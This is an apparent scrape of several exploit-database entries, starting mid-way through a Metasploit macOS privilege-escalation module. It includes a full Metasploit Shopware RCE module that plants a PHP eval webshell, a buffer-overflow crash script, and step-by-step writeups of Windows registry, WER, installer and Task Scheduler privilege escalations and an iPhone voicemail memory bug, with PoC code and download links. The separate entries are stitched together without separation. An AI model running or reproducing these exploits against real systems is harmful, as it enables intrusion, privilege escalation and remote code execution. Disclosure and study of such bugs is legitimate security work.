['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
['URL', 'https://support.apple.com/en-in/HT209600'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => [ 'osx', 'python', 'unix' ],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end
def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
case target['Arch']
when ARCH_X64
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_executable_file(payload_file, binary_payload)
root_cmd = payload_file
when ARCH_PYTHON
root_cmd = "echo \"#{payload.encoded}\" | python"
else
root_cmd = payload.encoded
end
root_cmd = root_cmd + " & \0"
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
end
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end
Windows: CmKeyBodyRemapToVirtualForEnum Arbitrary Key Enumeration EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary
Summary:
The kernel’s Registry Virtualization doesn’t safely open the real key for a virtualization location leading to enumerating arbitrary keys resulting in EoP.
Description:
When the virtualization flag is set on the primary token certain parts of the HKLM\Software hive are virtualized to a per-user location under Software\Classes. If the key exists in HKLM (and can be virtualized) then a handle to the HKLM key is opened read-only and the virtualized key is only created if any modification is made to the key, such as writing a value.
However, if a virtualized key already exists then that key is opened and the real key is only opened on demand. One reason to open the backing key is if the virtual key is enumerated, to provide compatibility the kernel will merge the key/value information from the real key into the virtual key. The real key is opened every time a call is made to NtEnumerateKey, NtQueryValue etc.
The open of the real key is performed in CmKeyBodyRemapToVirtualForEnum. It first constructs the real path to the key using CmpReparseToVirtualPath then opens the key object using ObReferenceObjectByName. The problem here is two fold:
1) The access mode passed to ObReferenceObjectByName is KernelMode which means security checking is disabled.
2) The open operation will follow symbolic links in the registry.
When combined together these two issues allow a normal user to redirect a real key to an arbitrary registry location, as security checking is disabled then it will open any key including the SAM or BCD hives. The only requirement is finding a virtualizable key inside HKLM which is writable by the normal user. There’s a number of examples of this, but the easiest and ironic one to exploit is the HKLM\SOFTWARE\Microsoft\DRM key. In order to get the virtualization to work you do need to create a new subkey, without any virtualization flags (the DRM key can be virtualized anyway) with a security descriptor which limits the user to read-only but grants the administrator group full access. This will meet the virtualization criteria, and as the key is in HKLM which is a trusted hive then any symbolic link can reparse to any other hive. This can be exploited as follows:
1) Create a new subkey of DRM which can only be written to by an administrator (just pass an appropriate security descriptor). This should be done with virtualization disabled.
2) Open the new subkey requesting read and write access with virtualization enabled. Write a value to the key to cause it to be virtualized then close it.
3) Reopen the subkey requesting read and write access with virtualization enabled.
4) Replace the new subkey in DRM with a symlink to \Registry\Machine\SAM\SAM.
5) Enumerate keys or values of the virtual key, it should result in the SAM hive being opened and enumerated. Repeat the process to dump all data from the hive as needed.
Fixing wise, I’m not really sure why the real key is opened without any access checking as the code should have already checked that the user could open the real key for read-only in order to create the virtual key and if the call fails it doesn’t seem to impact the enumeration process, just it doesn’t return the data. You might try and block symbolic link reparsing, but passing OBJ_OPEN_LINK isn’t sufficient as you could replace a key higher up the key path which is the actual symbolic link.
These operations can’t be done from any sandbox that I know of so it’s only a user to system privilege escalation.
Proof of Concept:
I’ve provided a PoC as a C# project. It will use the vulnerability to enumerate the top level of the SAM hive.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC.
3) The PoC should print the subkeys of the SAM hive.
Expected Result:
The query operation should fail.
Observed Result:
The SAM hive key is opened and enumerated.
Some additional notes.
I said this wasn’t exploitable from a sandbox but that turns out to be incorrect. It’s possible to mark a registry key as being a virtual store key using NtSetInformationKey with the KeySetVirtualizationInformation and passing a value of 1. When you do this the kernel always considers it to be a virtualized key for the purposes of enumeration, as long as the virtualization enabled flag is set when calling NtEnumerateKey it’ll call CmKeyBodyRemapToVirtualForEnum.
The path to the real registry key is generated by CmVirtualKCBToRealPath (not CmpReparseToVirtualPath as I said in the original report as that's the other direction) which just removes the first 4 path elements from the virtual key path and prepends \Registry. For example if you open the key \Registry\User\S-1-1-1\SOFTWARE\MACHINE\XYZ it’ll get mapped to \Registry\MACHINE\XYZ.
You can exploit this in an AC by creating a new application hive through RegLoadAppKey which will be mapped to \Registry\A\XYZ then creating a directory structure underneath that. For example if you load the app key, then create the subkeys ABC\MACHINE\SAM\SAM and mark the last one as a virtualized key then when opened with virtualization enabled you can now enumerate the SAM hive. I expect this can even be done from an Microsoft Edge Content Process as loading an application hive isn’t restricted, in fact it’s important for AC functionality.
There’s a few places that call CmVirtualKCBToRealPath so I’d probably check their usage is correct as this behavior is odd. Of course I’d argue that CmVirtualKCBToRealPath should be more rigorous and also at a minimum you probably shouldn’t be able to set virtualization flags on application hives in general.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46912.zip
Visual Voicemail (VVM) is a feature of mobile devices that allows voicemail to be read in an email-like format. Carriers set up a Visual Voicemail server that supports IMAP, and the device queries this server for new email. Visual Voicemail is configured over SMS, and carriers inform devices of the location of the IMAP server by sending a specially formatted SMS message containing the URL of the IMAP server.
SMS messages are determined to be VVM-related based on their PID field as well as their contents. Both of these fields can be set by a device sending SMS messages, so any device can send a message that causes Visual Voicemail to query an IMAP server specified in the message. This means that an attacker can force a device to query an IMAP server they control without the user interacting with the device in any way.
There is an object lifetime issue in the iPhone IMAP client that can be accessed in this way. It happens when a NAMESPACE command response contains a namespace that cannot be parsed correctly. It leads to the mailbox separator being freed, but not replaced with a valid object. This leads to a selector being called on an object that is not valid.
To reproduce this issue:
1) Run testcrash.py on a remotely accessible server. To run on port 993, this will need to be on a server that has a domain name, and a certificate that verifies correctly. Replace the "YOUR KEY HERE" fields in testcrash.py with the location of the cert files. On some carriers, it is possible to use port 143 without SSL instead.
2) Send the attached SMS messages to the device, first statepdu.txt and then mboxupdatepdu.txt. Replace the destination number and server location in the messages with the location of your target device and server before sending.
3) The device will connect to the server, and then crash
Note that this attack depends somewhat on the carrier the device is on. I tested this issue on an AT&T SIM. I was not able to reproduce this issue on a T-Mobile SIM, because their network does not allow VVM connections to outside servers. It might be possible to bypass this by hosting the server on a peer device on the network, but I didn't try this. The PID used for VVM SMS messages also varies based on carrier.
I've attached a crash log for this issue. I've also attached decoded.txt, which describes the contents of the SMS pdus, and NAMESPACE.zip, which is a non-minimized PoC that leaders to a wider variety of crashes.
When retrieving a message, the VVM client calls [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] to get the server separator and namespace prefix. This method first retrieves the server separator by calling [MFIMAPConnection separatorChar] which causes the LIST command to be sent to the server, and returns the separator. The method also stores the separator as a member of the connection object, which gives the separator its sole reference. [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] then calls [MFIMAPConnection serverPathPrefix] to get the prefix, which in turn calls [MFIMAPConnection _doNamespaceCommand] to perform the NAMESPACE command over the network. If this command fails for any reason (for example, malformed response, LOGOUT command, etc.), it will call [MFIMAPConnection disconnectAndNotifyDelegate:], which removes the separator from the connection object, removing its only reference. The rest of [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] will then use a separator object that has been freed.
This issue was resolved by adding a lock to [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] and [MFIMAPConnection disconnectAndNotifyDelegate:] so that they cannot run at the same time for the same connection.
This issue was fixed on Tuesday, May 14
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46913.zip
# -*- coding: utf-8 -*-
# Exploit Title: Terminal Services Manager 3.2.1 - Local Buffer Overflow Denial of Service
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://lizardsystems.com
# Software: https://lizardsystems.com/files/releases/terminal-services-manager/tsmanager_setup_3.2.1.247.exe
# Version: 3.2.1 (Build 247)
# Tested on: Windows 10
# Steps to produce the crash:
# 1.- Run the python script 'tsmanager.py', it will create a new file 'evil.txt'
# 2.- Open Terminal Services Manager
# 3.- Click 'Add computer'
# 4.- Now paste the content of evil.txt into the field: 'Computer name or IP address' and click 'OK'
# 5.- In the 'List' tab select the computer created.
# 6.- Now in the 'Servers' tab double click on the created computer, wait and you will see a crash!
buffer = "\x41" * 5000
f = open ("evil.txt", "w")
f.write(buffer)
f.close()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
'Description' => %q(
This module exploits a php object instantiation vulnerability that can lead to RCE in
Shopware. An authenticated backend user could exploit the vulnerability.
The vulnerability exists in the createInstanceFromNamedArguments function, where the code
insufficiently performs whitelist check which can be bypassed to trigger an object injection.
An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
the target system, resulting in remote code execution.
Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Karim Ouerghemmi', # original discovery
'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module
],
'References' =>
[
['CVE', '2017-18357'], # not really because we bypassed this patch
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "May 09 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
]
)
end
def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
if res.nil?
return
end
return cookie
end
return
end
def get_webroot(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
end
return
end
def leak_csrf(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
if res.headers.include?('X-Csrf-Token')
return res.headers['X-Csrf-Token']
end
end
return
end
def generate_phar(webroot)
php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
register_file_for_cleanup("#{@shll_bd}.php")
pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
pop << "s:#{php.length}:\"#{php}\";"
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
pop << "a:3:{s:5:\"Value\";"
pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
pop << "s:7:\"Expires\";"
pop << "b:1;"
pop << "s:7:\"Discard\";"
pop << "b:0;}}}}"
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << "GBMB" # signature presence
return phar
end
def upload(cookie, csrf_token, phar)
data = Rex::MIME::Message.new
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /Image is not in a recognized format/i
return true
end
return
end
def leak_upload(cookie, csrf_token)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
end
return
end
def trigger_bug(cookie, csrf_token, upload_path)
sort = {
"Shopware_Components_CsvIterator" => {
"filename" => "phar://#{upload_path}",
"delimiter" => "",
"header" => ""
}
}
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
},
'vars_get' => { 'sort' => sort.to_json }
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
return
end
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, 1)
end
def check
cookie = do_login
if cookie.nil?
vprint_error "Authentication was unsuccessful"
return Exploit::CheckCode::Safe
end
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
vprint_error "Unable to leak the CSRF token"
return Exploit::CheckCode::Safe
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => { 'X-CSRF-Token' => csrf_token }
)
if res.code == 200 && res.body =~ /Shop not found/i
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@phar_bd = Rex::Text.rand_text_alpha_lower(8)
@shll_bd = Rex::Text.rand_text_alpha_lower(8)
@header = Rex::Text.rand_text_alpha_upper(2)
cookie = do_login
if cookie.nil?
fail_with(Failure::NoAccess, "Authentication was unsuccessful")
end
print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
web_root = get_webroot(cookie)
if web_root.nil?
fail_with(Failure::Unknown, "Unable to leak the webroot")
end
print_good("Stage 2 - leaked the web root: #{web_root}")
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
fail_with(Failure::Unknown, "Unable to leak the CSRF token")
end
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
phar = generate_phar(web_root)
print_good("Stage 4 - generated our phar")
if !upload(cookie, csrf_token, phar)
fail_with(Failure::Unknown, "Unable to upload phar archive")
end
print_good("Stage 5 - uploaded phar")
upload_path = leak_upload(cookie, csrf_token)
if upload_path.nil?
fail_with(Failure::Unknown, "Cannot find phar archive")
end
print_good("Stage 6 - leaked phar location: #{upload_path}")
trigger_bug(cookie, csrf_token, upload_path)
print_good("Stage 7 - triggered object instantiation!")
exec_code
end
end
Inject into IE11.
Will work on other sandboxes that allow the opening of windows filepickers through a broker.
You will gain medium IL javascript execution, at which point you simply retrigger your IE RCE bug.
EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46919.zip
EDIT: Apparently this was patched earlier this month.. so whatever.
Windows Error Reporting Arbitrary DACL write
It can take upwards of 15 minutes for the bug to trigger. If it takes too long, closing the program, cleaning out the reportarchive folder in programdata (it may mess up the timing if there's too many reports in there as result of running our poc for too long), deleting the c:\blah folder.. etc.. might help.
I guess a more determined attacker might be able to make it more reliable. It is just an insanely small window in which we can win our race, I wasn't even sure if I could ever exploit it at all.
I don't see a way to use OPLOCKS to reliably win the race.. and while I can make it work fairly reliable in my VM, I need to use a "rand()" function to bruteforce a delay needed to hit the correct timing.. because this timing will vary wildly from hardware setup to setup.
Overview:
1. We turn c:\programdata\microsoft\windows\wer\reportqueue into a junction point to c:\blah
2. In c:\blah we create a folder named 1_1_1_1_1, and inside we dump a .wer file and another file called test
3. We trigger the WER reporting queue task
4. When the service tries to write a DACL we delete the file "test" after it calls GetSecurityFile on it and replace it with a hardlink, on which the service will call SetSecurityFile.
Bug description:
The WER service will try to delete both files while not impersonating when we trigger the reporting queue task. It does extensive testing against junctions.. so we cannot abuse that.
However it will write a DACL to both files, to ensure that SYSTEM has the "delete" right over them. The way this works is in two steps:
1. It calls GetFileSecurity and gets a security descriptor (or whatever the technical name is)
2. It adds some stuff to the security descriptor so SYSTEM has delete rights, and then writes it back to the file using SetFileSecurity
It also closes file handles between both function calls which is convenient.
This means that if between both function calls we plant a hardlink.. it will first get the security descriptor from a normal file which authenticated users can write to. It will then copy these permissions, and applies this security descriptor to a hardlink pointing to an entirely different file.
The race condition is incredibly hard to win. I havn't tested on another setup.. but you definitely need multiple processor cores and you may have to wait minutes for it to work (It can take a really long time.. ). Anyway... in an LPE scenario time is not that much of an issue.
A succesful run will look like this. You can see the hardlink being created after the QuerySecurityFile and before SetSecurityFile.
You can also ofcourse look in IDA (wer.dll) and confirm there. The vulnerable function is: UtilAddAccessToPath
Steps to reproduce:
1. Copy AngryPolarBearBug.exe and report.wer into the same folder
2. Run AngryPolarBearBug.exe
After many long minutes it should stop and c:\windows\system32\drivers\pci.sys should now by writeable from non-admin.
Again.. I have only tested this on both my VM and host, I don't even know if the random delay range will work on other hardware setups (it basically tries to bruteforce the correct timing).. so I hope you can repo it.
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46917.zip
edit: Figure out how this works for yourself. I can't be bothered. It's a really hard race, doubt anyone will be able to repro anyway. Could be used with malware, you could programmatically trigger the rollback. Maybe you can even pass the silent flag to hide installer UI and find another way to trigger rollback (i.e through installer api, injecting into medium IL msiexec etc)
## Installer - capturing rolback scripts - patch bypass #2
There is still a race condition in the installer.
So there is a really small timing window to win a race, where if we set a junction after the check but before it writes the DACL we can still get our original PoC to work.
Again, it's a really small timing window, and while it appears to reliably reproduce on my setup.. I don't know if it will for yours. I've attached a procmon.exe log.
How to reproduce:
1. Run polarbear.exe (make sure to copy test.rbf and test.rbs in the same directory)
2. Open a cmd and run an installer (has to be an autoelevating installer in c:\windows\insatller) this way "msiexec /fa c:\windows\installer\123123213.msi"
When we pass the repair flag, it usually gives us a little more time to press the cancel button and trigger rollback.
polarbear.exe will print out when you have to press cancel. So you don't press it too early!
3. If all is successful it will write oops.dll to system32. If failed.. make sure to delete the following folders: config.msi, new, new2, new3.
Use the included video demo as guide... as the process is kind of complicated!
Filter I used in procmon:
You should see this on a successful run:
The mount point on c:\config.msi has to be create after querynetworkfile and before setsecurityfile.
EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46916.zip
Task Scheduler .job import arbitrary DACL write
Tested on: Windows 10 32-bit
Bug information:
There are two folders for tasks.
c:\windows\tasks
c:\windows\system32\tasks
The first one is only there for legacy purposes. The second one gets used by the task scheduler.
In the old days (i.e windows xp) tasks would be placed in c:\windows\tasks in the ".job" fileformat.
If on windows 10 you want to import a .job file into the task scheduler you have to copy your old .job files into c:\windows\tasks and run the following command using "schtasks.exe and schedsvc.dll" copied from the old system: "schtasks /change /TN "taskname" /RU username /RP password"
(found this here: https://social.technet.microsoft.com/Forums/windowsserver/en-US/467e5cab-2368-42de-ae78-d86b644a0e71/transfer-scheduled-tasks-to-server-2008?forum=winserverMigration)
This will result in a call to the following RPC "_SchRpcRegisterTask", which is exposed by the task scheduler service. (I assume that to trigger this bug you can just call into this function directly without using that schtasks.exe copied from windows xp.. but I am not great at reversing :( )
It starts out by impersonating the current user.
But when it hits the following function:
int __stdcall tsched::SetJobFileSecurityByName(LPCWSTR StringSecurityDescriptor, const unsigned __int16 *, int, const unsigned __int16 *)
It starts impersonating itself (NT AUTHORITY\SYSTEM)!
And then calls SetSecurityInfo on a task it created in c:\windows\system32\tasks.
This can be easily abused.
The PoC code:
CopyFile(L"bear.job", L"c:\\windows\\tasks\\bear.job",FALSE);
system(command.c_str());
DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
CreateNativeHardlink(L"c:\\windows\\system32\\tasks\\bear", L"C:\\Windows\\system32\\drivers\\pci.sys");
system(command.c_str());
First we copy bear .job into the legacy tasks folder.
Then we call "schtasks /change /TN "bear" /RU username /RP password"
We have to call it "normally" first without planting a hardlink because otherwise it will fail, since the task already exists in c:\windows\system32\task.
After that we delete the file it created. And plant a hardlink and re-run the same command.
This time it will call SetSecurityInfo on our hardlink.
How to run the PoC (you need to rebuild for x64, included binary is x86)
1. copy polarbear.exe, bear.job, schtasks.exe, schtasks.dll from the folder "poc files" to your test VM
2. run polarbear.exe passing a username and password of a local non admin account. I.e "polarbear.exe essbee polarbear"
You can use the included video demo as reference.
Solution?
Make sure it impersonates the user! :D
Limitations
Obviously to run to PoC we have to pass a username and password. However, this can be the account information of a local non admin account, meaning it still crosses a security boundary. But for malware it would be harder to use this, since it's not that easy to obtain a cleartext password and even if we call _SchRpcRegisterTask directly, it still has a struct _TASK_USER_CRED argument, and I assume this expects clear text account info and not a token or something. Maybe you can use the Guest account or something when calling _schrpcregistertask directly.
EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46918.zip